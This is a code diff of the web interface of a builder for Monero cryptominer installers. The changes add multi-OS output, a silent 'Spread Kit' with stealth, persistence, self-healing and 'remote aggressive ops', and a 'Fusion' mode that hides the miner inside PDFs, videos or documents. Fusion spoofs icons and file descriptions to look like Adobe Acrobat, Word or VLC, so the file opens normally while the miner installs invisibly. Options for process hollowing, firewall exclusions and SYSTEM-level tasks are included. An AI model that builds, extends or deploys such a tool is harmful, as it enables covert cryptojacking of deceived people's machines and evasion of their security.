|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
const checks = runForgePreflight(form, !!fusionPrepFile);
|
||||
const normalized = normalizeForgeForm(form);
|
||||
if (normalized !== form) {
|
||||
setForm(normalized);
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Preflight failed — fix errors in the checklist below before forging.');
|
||||
return;
|
||||
@@ -411,7 +443,7 @@ export default function BuilderPage() {
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(form, fusionPrepFile);
|
||||
const result = await api.buildAgent(normalized, fusionPrepFile);
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
@@ -433,7 +465,9 @@ export default function BuilderPage() {
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -445,6 +479,18 @@ export default function BuilderPage() {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
|
||||
const setDeliverableType = (type: ForgeDeliverable) => {
|
||||
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
|
||||
if (type !== 'fusion') {
|
||||
setFusionPrepFile(null);
|
||||
setFusionBatchFiles([]);
|
||||
setFusionEstimate(null);
|
||||
}
|
||||
};
|
||||
|
||||
const deliverableType = form ? deriveDeliverableType(form) : 'single';
|
||||
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
|
||||
|
||||
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
|
||||
const liveNotices = useMemo(
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
@@ -456,7 +502,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
useEffect(() => {
|
||||
@@ -517,6 +563,7 @@ export default function BuilderPage() {
|
||||
install_relative_path: form.install_relative_path,
|
||||
worker_name: form.worker_name,
|
||||
process_name: form.process_name,
|
||||
target_os: form.target_os,
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
@@ -688,8 +735,8 @@ export default function BuilderPage() {
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
|
||||
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -707,8 +754,9 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="office-pc-1"
|
||||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||||
value={form.worker_name}
|
||||
maxLength={48}
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
@@ -728,7 +776,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<input
|
||||
type="url"
|
||||
className="input mono endpoint-input"
|
||||
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
|
||||
placeholder={`http://192.168.1.10:${listenPort}`}
|
||||
value={form.server_url}
|
||||
onChange={(e) => updateField('server_url', e.target.value)}
|
||||
@@ -736,6 +784,11 @@ export default function BuilderPage() {
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
|
||||
⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="server_url" />
|
||||
<p className="form-hint endpoint-hint">
|
||||
Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.
|
||||
@@ -763,14 +816,118 @@ export default function BuilderPage() {
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
placeholder="4... or 8... (95–106 characters)"
|
||||
value={form.wallet}
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||||
Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
description="Pick what you are shipping. Incompatible options are locked automatically."
|
||||
/>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
{deliverableSummary(deliverableType)}
|
||||
</p>
|
||||
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('single')}
|
||||
>
|
||||
<strong>Single platform worker</strong>
|
||||
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('spread_kit')}
|
||||
>
|
||||
<strong>Universal Spread Kit</strong>
|
||||
<span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('fusion')}
|
||||
>
|
||||
<strong>Fusion</strong>
|
||||
<span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
description={
|
||||
deliverableType === 'single'
|
||||
? 'Which OS this single installer targets.'
|
||||
: 'Locked to Universal — all platforms are included in the ZIP.'
|
||||
}
|
||||
/>
|
||||
<div className="form-row">
|
||||
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Target OS <HelpTip field="target_os" /></label>
|
||||
{fieldMeta.target_os?.disabled ? (
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
disabled
|
||||
value="Universal (all platforms)"
|
||||
readOnly
|
||||
/>
|
||||
) : (
|
||||
<select
|
||||
className="select"
|
||||
value={form.target_os || 'windows'}
|
||||
onChange={(e) => updateField('target_os', e.target.value)}
|
||||
>
|
||||
<option value="windows">Windows</option>
|
||||
<option value="linux">Linux</option>
|
||||
<option value="darwin">macOS</option>
|
||||
</select>
|
||||
)}
|
||||
<FieldHint field="target_os" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_os} />
|
||||
</div>
|
||||
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
|
||||
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Architecture <HelpTip field="target_arch" /></label>
|
||||
<select
|
||||
className="select"
|
||||
disabled={fieldMeta.target_arch?.disabled}
|
||||
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
|
||||
onChange={(e) => updateField('target_arch', e.target.value)}
|
||||
>
|
||||
<option value="amd64">amd64 (Intel/AMD)</option>
|
||||
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
|
||||
</select>
|
||||
<FieldHint field="target_arch" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_arch} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{deliverableType === 'spread_kit' && (
|
||||
<p className="form-hint">
|
||||
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
|
||||
Upload nothing — forge produces the deploy ZIP.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
@@ -820,7 +977,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
max={65535}
|
||||
value={form.pool_port}
|
||||
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
|
||||
@@ -840,9 +998,11 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -865,7 +1025,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||
disabled={fieldMeta.thread_percent?.disabled}
|
||||
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.thread_percent} />
|
||||
</div>
|
||||
</div>
|
||||
@@ -874,7 +1035,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||
disabled={fieldMeta.threads?.disabled}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.threads} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -892,19 +1054,22 @@ export default function BuilderPage() {
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
|
||||
<FieldHint field="max_memory_percent" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
@@ -929,7 +1094,8 @@ export default function BuilderPage() {
|
||||
max={100}
|
||||
disabled={fieldMeta.idle_threshold_pct?.disabled}
|
||||
value={form.idle_threshold_pct}
|
||||
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
|
||||
/>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||||
@@ -940,7 +1106,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
disabled={fieldMeta.idle_duration_minutes?.disabled}
|
||||
value={form.idle_duration_minutes}
|
||||
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -981,19 +1148,26 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
{installBaseOptions.map((opt) => (
|
||||
<option key={opt.value} value={opt.value}>{opt.label}</option>
|
||||
))}
|
||||
</select>
|
||||
<FieldHint field="install_base" />
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
|
||||
<p className="form-hint">
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
<input type="text" className="input mono"
|
||||
placeholder={
|
||||
form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? '/home/user/.local/share or ~/Library/Application Support'
|
||||
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
|
||||
}
|
||||
disabled={fieldMeta.install_custom_base?.disabled}
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
@@ -1027,7 +1201,14 @@ export default function BuilderPage() {
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
|
||||
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
|
||||
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
|
||||
<span>
|
||||
{form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? 'Firewall allow rules (ufw/iptables when available)'
|
||||
: form.target_os === 'universal'
|
||||
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
|
||||
: 'Windows Firewall allow rules for this miner'}{' '}
|
||||
<HelpTip field="firewall_exclusion" />
|
||||
</span>
|
||||
</label>
|
||||
<FieldHint field="firewall_exclusion" />
|
||||
</div>
|
||||
@@ -1047,13 +1228,15 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||||
disabled={fieldMeta.process_hollowing?.disabled}
|
||||
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||||
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
|
||||
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
|
||||
</label>
|
||||
<FieldHint field="process_hollowing" />
|
||||
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
|
||||
</div>
|
||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
@@ -1097,9 +1280,9 @@ export default function BuilderPage() {
|
||||
value={form.run_as}
|
||||
onChange={(e) => updateField('run_as', e.target.value)}
|
||||
>
|
||||
<option value="user">Current User (Run key when persistence on)</option>
|
||||
<option value="service">Scheduled Task — forced persistence</option>
|
||||
<option value="scheduled">Scheduled Task — forced persistence</option>
|
||||
<option value="user">Current User (Run key — persistence optional)</option>
|
||||
<option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
|
||||
<option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
|
||||
</select>
|
||||
<FieldHint field="run_as" />
|
||||
</div>
|
||||
@@ -1116,105 +1299,130 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
{deliverableType !== 'fusion' && (
|
||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||
</div>
|
||||
)}
|
||||
{deliverableType === 'fusion' && (
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
||||
</p>
|
||||
)}
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
{/* Single-file pick (used when Forge button is clicked) */}
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||
<label className="label">
|
||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||
</label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||
accept="*"
|
||||
onChange={(e) => {
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
{fusionPrepFile && !fusionIsExe && (
|
||||
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
|
||||
<strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
|
||||
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
|
||||
<br />
|
||||
<span style={{ color: 'var(--color-accent)' }}>
|
||||
Windows disguise: runner will be named{' '}
|
||||
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
|
||||
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
|
||||
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{fusionPrepFile && fusionIsExe && (
|
||||
<span className="form-hint">
|
||||
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||
<strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened
|
||||
</span>
|
||||
)}
|
||||
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||
<p className="form-hint">
|
||||
Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
|
||||
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
|
||||
</p>
|
||||
</div>
|
||||
{fusionIsVideo && (
|
||||
<div className="form-group">
|
||||
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option A — Single file (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||
Best when the file is under ~500MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option B — Movie + runner (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||
movie shows a lock message; only the runner decrypts and plays it.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Delivery mode — applies to all file types */}
|
||||
<div className="form-group">
|
||||
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>All-in-one (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed.
|
||||
Best for files under ~500 MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>ZIP bundle (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
|
||||
the launcher for their OS — the file opens normally, miner installs silently.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Batch: queue multiple files, each gets its own ZIP */}
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||
<label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label>
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".mp4,.mkv,.mov,video/*"
|
||||
accept="*"
|
||||
multiple
|
||||
onChange={(e) => {
|
||||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||
@@ -1223,10 +1431,31 @@ export default function BuilderPage() {
|
||||
}}
|
||||
/>
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<span className="form-hint">
|
||||
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||
</span>
|
||||
<div style={{ marginTop: '0.5rem' }}>
|
||||
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
|
||||
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '}
|
||||
<code>fusion-deliverables/</code>:
|
||||
</p>
|
||||
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
|
||||
{fusionBatchFiles.map((f) => {
|
||||
const isExe = fusionPayloadKind(f) === 'exe';
|
||||
return (
|
||||
<li key={f.name} className="batch-log-pending">
|
||||
<span className="batch-log-icon">○</span>
|
||||
<span>
|
||||
{f.name}{' '}
|
||||
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
|
||||
{!isExe && (
|
||||
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
|
||||
→ Windows: <code>{disguisedDisplayName(f.name)}</code>
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{batchJob && (
|
||||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||
@@ -1263,33 +1492,48 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
